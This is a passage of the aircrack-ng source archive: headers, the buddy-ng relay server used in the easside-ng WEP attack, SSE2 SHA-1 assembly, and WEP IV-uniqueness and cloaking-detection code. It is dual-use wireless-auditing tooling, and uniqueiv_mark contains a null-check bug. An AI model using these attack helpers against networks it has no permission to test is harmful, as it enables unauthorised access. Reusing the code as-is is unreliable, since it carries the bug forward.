#endif aircrack-ng-1.2-beta3/src/easside.h0000644000000000000000000000046610761053203015607 0ustar rootroot/*- * Copyright (c) 2007, Andrea Bittau * */ #ifndef __EASSIDE_COMMON_H__ #define __EASSIDE_COMMON_H__ #define S_DEFAULT_PORT 6969 #define S_DEFAULT_UDP_PORT 6969 #define S_CMD_INET_CHECK 1 #define S_CMD_PACKET 2 #define S_HELLO_LEN 50 #endif /* __EASSIDE_COMMON_H__ */ aircrack-ng-1.2-beta3/src/buddy-ng.c0000644000000000000000000001333211355271630015700 0ustar rootroot /* * Copyright (c) 2007, 2008, 2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "easside.h" #include "version.h" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); unsigned char ids[8192]; unsigned short last_id; int wrap; int is_dup(unsigned short id) { int idx = id/8; int bit = id % 8; unsigned char mask = (1 << bit); if (ids[idx] & mask) return 1; ids[idx] |= mask; return 0; } int handle(int s, unsigned char* data, int len, struct sockaddr_in *s_in) { char buf[2048]; unsigned short *cmd = (unsigned short *)buf; int plen; struct in_addr *addr = &s_in->sin_addr; unsigned short *pid = (unsigned short*) data; /* inet check */ if (len == S_HELLO_LEN && memcmp(data, "sorbo", 5) == 0) { unsigned short *id = (unsigned short*) (data+5); int x = 2+4+2; *cmd = htons(S_CMD_INET_CHECK); memcpy(cmd+1, addr, 4); memcpy(cmd+1+2, id, 2); printf("Inet check by %s %d\n", inet_ntoa(*addr), ntohs(*id)); if (send(s, buf, x, 0) != x) return 1; return 0; } *cmd++ = htons(S_CMD_PACKET); *cmd++ = *pid; plen = len - 2; last_id = ntohs(*pid); if (last_id > 20000) wrap = 1; if (wrap && last_id < 100) { wrap = 0; memset(ids, 0, sizeof(ids)); } printf("Got packet %d %d", last_id, plen); if (is_dup(last_id)) { printf(" (DUP)\n"); return 0; } printf("\n"); *cmd++ = htons(plen); memcpy(cmd, data+2, plen); plen += 2 + 2 + 2; assert(plen <= (int) sizeof(buf)); if (send(s, buf, plen, 0) != plen) return 1; return 0; } void handle_dude(int dude, int udp) { unsigned char buf[2048]; int rc; fd_set rfds; int maxfd; struct sockaddr_in s_in; socklen_t len; /* handshake */ rc = recv(dude, buf, 5, 0); if (rc != 5) { close(dude); return; } if (memcmp(buf, "sorbo", 5) != 0) { close(dude); return; } if (send(dude, "sorbox", 6, 0) != 6) { close(dude); return; } printf("Handshake complete\n"); memset(ids, 0, sizeof(ids)); last_id = 0; wrap = 0; while (1) { FD_ZERO(&rfds); FD_SET(udp, &rfds); FD_SET(dude, &rfds); if (dude > udp) maxfd = dude; else maxfd = udp; if (select(maxfd+1, &rfds, NULL, NULL, NULL) == -1) err(1, "select()"); if (FD_ISSET(dude, &rfds)) break; if (!FD_ISSET(udp, &rfds)) continue; len = sizeof(s_in); rc = recvfrom(udp, buf, sizeof(buf), 0, (struct sockaddr*) &s_in, &len); if (rc == -1) err(1, "read()"); if (handle(dude, buf, rc, &s_in)) break; } close(dude); } void drop_privs() { if (chroot(".") == -1) err(1, "chroot()"); if (setgroups(0, NULL) == -1) err(1, "setgroups()"); if (setgid(69) == -1) err(1, "setgid()"); if (setuid(69) == -1) err(1, "setuid()"); } void usage() { printf("\n" " %s - (C) 2007,2008 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: buddy-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -p : Don't drop privileges\n" "\n", getVersion("Buddy-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); exit(1); } int main(int argc, char *argv[]) { struct utsname utsName; struct sockaddr_in s_in; struct sockaddr_in dude_sin; int len, udp, ch, dude, s; int port = S_DEFAULT_PORT; int drop; while ((ch = getopt(argc, argv, "ph")) != -1) { switch (ch) { case 'p': drop = 0; break; default: case 'h': usage(); break; } } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_addr.s_addr = INADDR_ANY; s_in.sin_port = htons(S_DEFAULT_UDP_PORT); udp = socket(s_in.sin_family, SOCK_DGRAM, IPPROTO_UDP); if (udp == -1) err(1, "socket(UDP)"); if (bind(udp, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == -1) err(1, "socket(TCP)"); drop = 1; // Do not drop privileges on Windows (doing it fails). if (uname(&utsName) == 0) { drop = strncasecmp(utsName.sysname, "cygwin", 6); } if (drop) drop_privs(); memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_port = htons(port); s_in.sin_addr.s_addr = INADDR_ANY; len = 1; if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &len, sizeof(len)) == -1) err(1, "setsockopt(SO_REUSEADDR)"); if (bind(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); if (listen(s, 5) == -1) err(1, "listen()"); while (1) { len = sizeof(dude_sin); printf("Waiting for connexion\n"); dude = accept(s, (struct sockaddr*) &dude_sin, (socklen_t*) &len); if (dude == -1) err(1, "accept()"); printf("Got connection from %s\n", inet_ntoa(dude_sin.sin_addr)); handle_dude(dude, udp); printf("That was it\n"); } exit(0); } aircrack-ng-1.2-beta3/src/sha1-git.h0000644000000000000000000000312512004011237015573 0ustar rootroot/* * sha1-git.h * * This code is based on the GIT SHA1 Implementation. * * Copyright (C) 2009 Linus Torvalds * Copyright (C) 2009 Nicolas Pitre * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ /* * SHA1 routine optimized to do word accesses rather than byte accesses, * and to avoid unnecessary copies into the context array. * * This was initially based on the Mozilla SHA1 implementation, although * none of the original Mozilla code remains. */ typedef struct { unsigned long long size; unsigned int H[5]; unsigned int W[16]; } blk_SHA_CTX; void blk_SHA1_Init(blk_SHA_CTX *ctx); void blk_SHA1_Update(blk_SHA_CTX *ctx, const void *dataIn, unsigned long len); void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX *ctx); #define git_SHA_CTX blk_SHA_CTX #define git_SHA1_Init blk_SHA1_Init #define git_SHA1_Update blk_SHA1_Update #define git_SHA1_Final blk_SHA1_Final aircrack-ng-1.2-beta3/src/sha1-sse2.S0000644000000000000000000004154111664550465015671 0ustar rootroot // SHA-1 SSE2 implementation, (C) 2008 Alvaro Salmador (naplam33@msn.com), ported from Simon Marechal's SHA-1 MMX - License: GPLv2 // SHA-1 MMX implementation, (C) 2005 Simon Marechal (simon@banquise.net) - License: Public Domain // This code computes two (with sse now four) SHA-1 digests at the same time. It // doesn't take care of padding (0x80 and size << 3), so make // sure the last input block is properly padded. Both 64-byte // input blocks must be (four bytes) interleaved. // In addition, as a special exception, the copyright holders give // permission to link the code of portions of this program with the // OpenSSL library under certain conditions as described in each // individual source file, and distribute linked combinations // including the two. // You must obey the GNU General Public License in all respects // for all of the code used other than OpenSSL. * If you modify // file(s) with this exception, you may extend this exception to your // version of the file(s), but you are not obligated to do so. * If you // do not wish to do so, delete this exception statement from your // version. * If you delete this exception statement from all source // files in the program, then also delete it here. #if defined(__x86_64__) && defined(__APPLE__) #define PRELOAD(x) #define MANGLE(x) x(%rip) #define INIT_PIC() #define END_PIC() #else #ifdef __PIC__ #ifdef __x86_64__ #define PRELOAD(x) movq x@GOTPCREL(%rip), %rbx; #define MANGLE(x) (%rbx) #define INIT_PIC() pushq %rbx #define END_PIC() popq %rbx #else #undef __i686 /* gcc builtin define gets in our way */ #define PRELOAD(x) #define MANGLE(x) x ## @GOTOFF(%ebx) #define INIT_PIC() \ call __i686.get_pc_thunk.bx ; \ addl $_GLOBAL_OFFSET_TABLE_, %ebx #define END_PIC() #endif #else #define PRELOAD(x) #define MANGLE(x) x #define INIT_PIC() #define END_PIC() #endif #endif #if defined(__i386__) || defined(__x86_64__) .globl shasse2_init; .globl shasse2_ends; .globl shasse2_data; .globl shasse2_cpuid; .globl _shasse2_init; .globl _shasse2_ends; .globl _shasse2_data; .globl _shasse2_cpuid; .data #ifdef __APPLE__ .align(12) #else .align(16) #endif const_init_a: .long 0x67452301 .long 0x67452301 .long 0x67452301 .long 0x67452301 const_init_b: .long 0xEFCDAB89 .long 0xEFCDAB89 .long 0xEFCDAB89 .long 0xEFCDAB89 const_init_c: .long 0x98BADCFE .long 0x98BADCFE .long 0x98BADCFE .long 0x98BADCFE const_init_d: .long 0x10325476 .long 0x10325476 .long 0x10325476 .long 0x10325476 const_init_e: .long 0xC3D2E1F0 .long 0xC3D2E1F0 .long 0xC3D2E1F0 .long 0xC3D2E1F0 const_stage0: .long 0x5A827999 .long 0x5A827999 .long 0x5A827999 .long 0x5A827999 const_stage1: .long 0x6ED9EBA1 .long 0x6ED9EBA1 .long 0x6ED9EBA1 .long 0x6ED9EBA1 const_stage2: .long 0x8F1BBCDC .long 0x8F1BBCDC .long 0x8F1BBCDC .long 0x8F1BBCDC const_stage3: .long 0xCA62C1D6 .long 0xCA62C1D6 .long 0xCA62C1D6 .long 0xCA62C1D6 const_ff00: .long 0xFF00FF00 .long 0xFF00FF00 .long 0xFF00FF00 .long 0xFF00FF00 const_00ff: .long 0x00FF00FF .long 0x00FF00FF .long 0x00FF00FF .long 0x00FF00FF #define ctxa %xmm0 #define ctxb %xmm1 #define ctxc %xmm2 #define ctxd %xmm3 #define ctxe %xmm4 #define tmp1 %xmm5 #define tmp2 %xmm6 #define tmp3 %xmm7 #define tmp4 ctxa #define tmp5 ctxb #ifdef __x86_64__ #define edx_rsi %rsi #define ecx_rdx %rdx #define eax_rdi %rdi #else #define edx_rsi %edx #define ecx_rdx %ecx #define eax_rdi %eax #endif // movdqa movapd #define F0(x,y,z) \ movdqa x, tmp2; \ movdqa x, tmp1; \ pand y, tmp2; \ pandn z, tmp1; \ por tmp2, tmp1; #define F1(x,y,z) \ movdqa z, tmp1; \ pxor y, tmp1; \ pxor x, tmp1 #define F2(x,y,z) \ movdqa x, tmp1; \ movdqa x, tmp2; \ pand y, tmp1; \ por y, tmp2; \ pand z, tmp2; \ por tmp2, tmp1; #define subRoundX(a, b, c, d, e, f, k, data) \ f(b,c,d); \ movdqa a, tmp2; \ movdqa a, tmp3; \ paddd tmp1, e; \ pslld $5, tmp2; \ psrld $27, tmp3; \ por tmp3, tmp2; \ paddd tmp2, e; \ movdqa b, tmp2; \ pslld $30, b; \ PRELOAD(k) \ paddd MANGLE(k), e; \ psrld $2, tmp2; \ por tmp2, b; \ movdqa (data*16)(edx_rsi), tmp1; \ movdqa tmp1, tmp2; \ PRELOAD(const_ff00) \ pand MANGLE(const_ff00), tmp1; \ PRELOAD(const_00ff) \ pand MANGLE(const_00ff), tmp2; \ psrld $8, tmp1; \ pslld $8, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, tmp2; \ psrld $16, tmp1; \ pslld $16, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, (data*16)(ecx_rdx); \ paddd tmp1, e; #define subRoundY(a, b, c, d, e, f, k, data) \ movdqa ((data- 3)*16)(ecx_rdx), tmp1; \ pxor ((data- 8)*16)(ecx_rdx), tmp1; \ pxor ((data-14)*16)(ecx_rdx), tmp1; \ pxor ((data-16)*16)(ecx_rdx), tmp1; \ \ movdqa tmp1, tmp2; \ pslld $1, tmp1; \ psrld $31, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, (data*16)(ecx_rdx); \ paddd tmp1, e; \ f(b,c,d); \ movdqa a, tmp2; \ movdqa a, tmp3; \ paddd tmp1, e; \ pslld $5, tmp2; \ psrld $27, tmp3; \ por tmp3, tmp2; \ paddd tmp2, e; \ movdqa b, tmp2; \ pslld $30, b; \ PRELOAD(k) \ paddd MANGLE(k), e; \ psrld $2, tmp2; \ por tmp2, b; .text // arg 1 (eax) (64bit: rdi): context (4*20 bytes) shasse2_init: _shasse2_init: INIT_PIC() PRELOAD(const_init_a) movdqa MANGLE(const_init_a), ctxa PRELOAD(const_init_b) movdqa MANGLE(const_init_b), ctxb PRELOAD(const_init_c) movdqa MANGLE(const_init_c), ctxc PRELOAD(const_init_d) movdqa MANGLE(const_init_d), ctxd PRELOAD(const_init_e) movdqa MANGLE(const_init_e), ctxe movdqa ctxa, 0(eax_rdi) movdqa ctxb, 16(eax_rdi) movdqa ctxc, 32(eax_rdi) movdqa ctxd, 48(eax_rdi) movdqa ctxe, 64(eax_rdi) END_PIC() ret // arg 1 (eax) (64bit: rdi): context (4*20 bytes) // arg 2 (edx) (64bit: rsi) : digests (4*20 bytes) shasse2_ends: _shasse2_ends: INIT_PIC() movdqa 0(eax_rdi), ctxa movdqa 16(eax_rdi), ctxb movdqa 32(eax_rdi), ctxc movdqa 48(eax_rdi), ctxd movdqa 64(eax_rdi), ctxe PRELOAD(const_ff00) movdqa MANGLE(const_ff00), tmp3 movdqa ctxa, tmp1 movdqa ctxb, tmp2 pand tmp3, ctxa pand tmp3, ctxb PRELOAD(const_00ff) movdqa MANGLE(const_00ff), tmp3 pand tmp3, tmp1 pand tmp3, tmp2 psrld $8, ctxa psrld $8, ctxb pslld $8, tmp1 pslld $8, tmp2 por tmp1, ctxa por tmp2, ctxb movdqa ctxa, tmp1 movdqa ctxb, tmp2 psrld $16, ctxa psrld $16, ctxb pslld $16, tmp1 pslld $16, tmp2 por tmp1, ctxa por tmp2, ctxb movdqa ctxa, 0(edx_rsi) movdqa ctxb, 16(edx_rsi) PRELOAD(const_ff00) movdqa MANGLE(const_ff00), tmp5 movdqa ctxc, tmp1 movdqa ctxd, tmp2 movdqa ctxe, tmp3 pand tmp5, ctxc pand tmp5, ctxd pand tmp5, ctxe PRELOAD(const_00ff) movdqa MANGLE(const_00ff), tmp5 pand tmp5, tmp1 pand tmp5, tmp2 pand tmp5, tmp3 psrld $8, ctxc psrld $8, ctxd psrld $8, ctxe pslld $8, tmp1 pslld $8, tmp2 pslld $8, tmp3 por tmp1, ctxc por tmp2, ctxd por tmp3, ctxe movdqa ctxc, tmp1 movdqa ctxd, tmp2 movdqa ctxe, tmp3 psrld $16, ctxc psrld $16, ctxd psrld $16, ctxe pslld $16, tmp1 pslld $16, tmp2 pslld $16, tmp3 por tmp1, ctxc por tmp2, ctxd por tmp3, ctxe movdqa ctxc, 32(edx_rsi) movdqa ctxd, 48(edx_rsi) movdqa ctxe, 64(edx_rsi) END_PIC() ret // arg 1 (eax) (64bit: rdi): context (4*20 bytes) // arg 2 (edx) (64bit: rsi): input data (4*64 bytes) // arg 3 (ecx) (64bit: rdx): workspace (1280 bytes) shasse2_data: _shasse2_data: INIT_PIC() movdqa 0(eax_rdi), ctxa movdqa 16(eax_rdi), ctxb movdqa 32(eax_rdi), ctxc movdqa 48(eax_rdi), ctxd movdqa 64(eax_rdi), ctxe round0: prefetchnta (edx_rsi) subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 0 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 1 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 2 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 3 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 4 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 5 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 6 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 7 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 8 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 9 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 10 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 11 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 12 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 13 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 14 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 15 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 16 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 17 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 18 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 19 ); round1: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 20 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 21 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 22 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 23 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 24 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 25 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 26 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 27 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 28 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 29 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 30 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 31 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 32 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 33 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 34 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 35 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 36 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 37 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 38 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 39 ); round2: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 40 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 41 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 42 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 43 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 44 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 45 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 46 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 47 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 48 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 49 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 50 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 51 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 52 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 53 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 54 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 55 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 56 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 57 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 58 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 59 ); round3: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 60 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 61 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 62 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 63 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 64 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 65 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 66 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 67 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 68 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 69 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 70 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 71 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 72 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 73 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 74 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 75 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 76 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 77 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 78 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 79 ); paddd 0(eax_rdi), ctxa paddd 16(eax_rdi), ctxb paddd 32(eax_rdi), ctxc paddd 48(eax_rdi), ctxd paddd 64(eax_rdi), ctxe movdqa ctxa, 0(eax_rdi) movdqa ctxb, 16(eax_rdi) movdqa ctxc, 32(eax_rdi) movdqa ctxd, 48(eax_rdi) movdqa ctxe, 64(eax_rdi) END_PIC() ret // returns 0 if neither MMX nor SSE2 are supported; 1 if MMX is supported; 2 if SSE2 is also supported shasse2_cpuid: _shasse2_cpuid: #ifndef __x86_64__ pushfl pushfl popl %eax movl %eax, %ecx xorl $0x200000, %eax push %eax popfl pushfl popl %eax popfl xorl %ecx, %eax jnz do_cpuid ret do_cpuid: #endif #ifdef __x86_64__ push %rbx push %rcx push %rdx #else push %ebx push %ecx push %edx #endif movl $1, %eax cpuid testl $0x00800000, %edx // bit 23 (MMX) jz no_mmx testl $0x04000000, %edx // bit 26 (SSE2) jz mmx_only // sse2 supported: movl $2, %eax jmp cpuid_exit mmx_only: movl $1, %eax jmp cpuid_exit no_mmx: movl $0, %eax cpuid_exit: #ifdef __x86_64__ pop %rdx pop %rcx pop %rbx #else pop %edx pop %ecx pop %ebx #endif ret #ifdef __i386__ #ifdef __PIC__ .section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits .globl __i686.get_pc_thunk.bx .hidden __i686.get_pc_thunk.bx .type __i686.get_pc_thunk.bx,@function __i686.get_pc_thunk.bx: movl (%esp), %ebx ret #endif #endif #endif #ifdef __ELF__ .section .note.GNU-stack,"",%progbits #endif aircrack-ng-1.2-beta3/src/uniqueiv.c0000644000000000000000000001471510767732110016043 0ustar rootroot/* * IV uniqueness detection method. * * Copyright (C) 2004-2008 Stanislaw Pusep: * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ /* * Each IV byte is stored in corresponding "level". We have 3 levels with * IV[2] as root index (level 0), IV[1] and IV[2] as level 2 and level 1 * indices respectively. Space required to allocate all data is at maximum * 2^24/8 (2 MB) and space required by filled index structures is 257 KB. */ #include #include "uniqueiv.h" /* allocate root structure */ unsigned char **uniqueiv_init( void ) { int i; /* allocate root bucket (level 0) as vector of pointers */ unsigned char **uiv_root = (unsigned char **) malloc( 256 * sizeof( unsigned char * ) ); if( uiv_root == NULL ) return( NULL ); /* setup initial state as empty */ for( i = 0; i < 256; ++i ) uiv_root[i] = NULL; return( uiv_root ); } /* update records with new IV */ int uniqueiv_mark( unsigned char **uiv_root, unsigned char IV[3] ) { unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; short i; if( uiv_root == NULL ) return( 0 ); /* select bucket from level 1 */ uiv_lvl1 = (unsigned char **) uiv_root[IV[2]]; /* create if it doesn't exists */ if( uiv_lvl1 == NULL ) { /* allocate level 2 bucket being a vector of bits */ uiv_lvl1 = (unsigned char **) malloc( 256 * sizeof( unsigned char * ) ); if( uiv_lvl1 == NULL ) return( 1 ); /* setup initial state as empty */ for( i = 0; i < 256; i++ ) uiv_lvl1[i] = NULL; /* link to parent bucket */ uiv_root[IV[2]] = (unsigned char *) uiv_lvl1; } /* select bucket from level 2 */ uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]]; /* create if it doesn't exists */ if( uiv_lvl2 == NULL ) { /* allocate level 2 bucket as a vector of pointers */ uiv_lvl2 = (unsigned char *) malloc( 32 * sizeof( unsigned char ) ); if( uiv_lvl1 == NULL ) return( 1 ); /* setup initial state as empty */ for( i = 0; i < 32; i++ ) uiv_lvl2[i] = 0; /* link to parent bucket */ uiv_lvl1[IV[1]] = uiv_lvl2; } /* place single bit into level 2 bucket */ uiv_lvl2[BITWISE_OFFT( IV[0] )] |= BITWISE_MASK( IV[0] ); return( 0 ); } /* check if already seen IV */ int uniqueiv_check( unsigned char **uiv_root, unsigned char IV[3] ) { unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; if( uiv_root == NULL ) return( IV_NOTHERE ); /* select bucket from level 1 */ uiv_lvl1 = (unsigned char **) uiv_root[IV[2]]; /* stop here if not even allocated */ if( uiv_lvl1 == NULL ) return( IV_NOTHERE ); /* select bucket from level 2 */ uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]]; /* stop here if not even allocated */ if( uiv_lvl2 == NULL ) return( IV_NOTHERE ); /* check single bit from level 2 bucket */ if( ( uiv_lvl2[ BITWISE_OFFT( IV[0] ) ] & BITWISE_MASK( IV[0] ) ) == 0 ) return( IV_NOTHERE ); else return( IV_PRESENT ); } /* unallocate everything */ void uniqueiv_wipe( unsigned char **uiv_root ) { int i, j; unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; if( uiv_root == NULL ) return; /* recursively wipe out allocated buckets */ for( i = 0; i < 256; ++i ) { uiv_lvl1 = (unsigned char **) uiv_root[i]; if( uiv_lvl1 != NULL ) { for( j = 0; j < 256; ++j ) { uiv_lvl2 = (unsigned char *) uiv_lvl1[j]; if( uiv_lvl2 != NULL ) free( uiv_lvl2 ); } free( uiv_lvl1 ); } } free( uiv_root ); return; } unsigned char *data_init( void ) { // It could eat up to (256*256*256) * 3 bytes = 48Mb :/ unsigned char * IVs = (unsigned char *) calloc(256*256*256 * 3, sizeof(unsigned char)); return IVs; } /* Checking WEP packet: * The 2 first bytes of 2 different data packets having the same IV (for the same AP) * should be exactly the same due to the fact that unencrypted, they are always the same: * AA AA */ int data_check(unsigned char *data_root, unsigned char IV[3], unsigned char data[2]) { int IV_position, cloaking; // Init vars cloaking = NO_CLOAKING; // Make sure it is allocated if (data_root != NULL) { // Try to find IV IV_position = (((IV[0] * 256) + IV[1]) * 256) + IV[2]; IV_position *= 3; // Check if existing if ( *(data_root + IV_position) == 0) { // Not existing *(data_root + IV_position) = 1; // Add it *(data_root + IV_position + 1) = data[0]; *(data_root + IV_position + 2) = data[1]; } else { // Good, we found it, so check it now if ( *(data_root + IV_position + 1) != data[0] || *(data_root + IV_position + 2) != data[1]) { cloaking = CLOAKING; } } } // else, cannot detect since it is not started return cloaking; } void data_wipe(unsigned char * data) { if (data) free(data); } aircrack-ng-1.2-beta3/src/airtun-ng.c0000644000000000000000000013055512153517342016102 